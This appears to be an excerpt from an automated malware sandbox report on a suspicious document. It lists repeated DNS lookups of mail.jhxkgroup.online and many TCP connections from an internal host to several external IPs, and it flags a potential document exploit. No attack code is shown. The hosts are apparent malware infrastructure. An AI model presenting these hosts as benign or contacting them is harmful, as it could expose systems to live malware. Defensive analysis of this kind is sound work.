Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Source: global traffic DNS query: name: mail.jhxkgroup.online
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 193.122.130.0:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 193.122.130.0:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 193.122.130.0:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 132.226.247.73:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 193.122.130.0:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 132.226.8.169:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 158.101.44.242:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 132.226.8.169:80
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 158.101.44.242:80
Source: global traffic TCP traffic: 192.168.2.22:49177 -> 193.122.130.0:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 149.154.167.220:443
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 149.154.167.220:443
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
